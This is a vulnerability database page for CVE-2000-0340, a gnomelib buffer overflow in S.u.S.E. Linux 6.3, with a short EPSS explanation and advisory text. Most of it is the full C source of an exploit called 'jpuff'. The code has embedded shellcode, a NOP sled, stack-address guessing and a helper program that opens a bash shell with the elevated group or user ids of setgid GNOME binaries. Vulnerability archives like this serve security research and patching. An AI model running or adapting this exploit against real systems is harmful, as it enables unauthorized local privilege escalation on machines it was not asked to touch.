CVE-2000-0340 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/1155/info A vulnerability exists in the handling of the DISPLAY variable, in versions of Gnomelib shipped with S.u.S.E. Linux, version 6.3. By supplying a long buffer containing machine executable code in the DISPLAY environment variable, it is possible to execute arbitrary code with the permissions of the user running the binary. In the case of a setuid binary, it is possible to obtain the privileges of the user it is setuid to. This in turn may be used to elevate privileges, and in theory could result in local root compromise. S.u.S.E. 6.3 ships with 1 setgid application, /opt/gnome/sbin/gnome-pty-helper, which is setgid tty. 6.4 ships with setgid gnome games. The version of gnomelib included with S.u.S.E. 6.4 is not vulnerable to this attack, however. /* Gnomelib exploit by bladi & aLmUDeNa All gnome apps have an exploitable buffer overflow (gnomelib) when get DISPLAY environment variable. Affected: S.u.S.E Linux: 6.3 Not vulnerable: RedHat 6.x Linpus Linux release 6.3 Debian NoTe: don't forget to put 6M in /tmp ---------(6M.c)--------- void main() { setuid(geteuid()); setregid(getegid(), getegid()); system("/bin/bash"); } ---------(6M.c)--------- Bueno un saludo a todos los que nos conocen/quieren/odian, bueno ya llevamos 6 meses y esperamos que dure mucho mas ;* [email protected] [email protected] */ #include <stdio.h> #include <stdlib.h> #define NOP 0x90 #define RANFROM -1400 #define RANTO -300 int i,x; char *ptr; unsigned long *ptr2; char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M"; char buffer[164]; main(int argc, char *argv[]) { long get_sp(void) { __asm__("movl %esp,%eax\n"); } printf (" jpuff ver: 1.0 \n"); printf (" by \n"); printf (" bladi & aLmUDeNa\n\n"); if (argc < 2 ) { printf(" Usage ./jpuff <gnome app>\n"); printf(" Try: ./jpuff /opt/gnome/bin/sol => you gain gid=40(game)\n"); exit(1); } for (x=RANFROM;x<RANTO;x=13+x) { for(i=0;i<164;i++) buffer[i]=0x00; ptr=buffer; for(i=0;i<22;i++) *(ptr++)=NOP; for(i=0;i<strlen(execshell);i++) *(ptr++)=execshell[i]; ptr2=(long *)ptr; for(i=0;i<20;i++) *(ptr2++)=get_sp()+x; setenv("DISPLAY",buffer,1); system(argv[1]); } printf("\n- --( ExPLoIT DoNE )-- -\n"); printf("Have a lot of fun... ;*\n\n"); return 0; }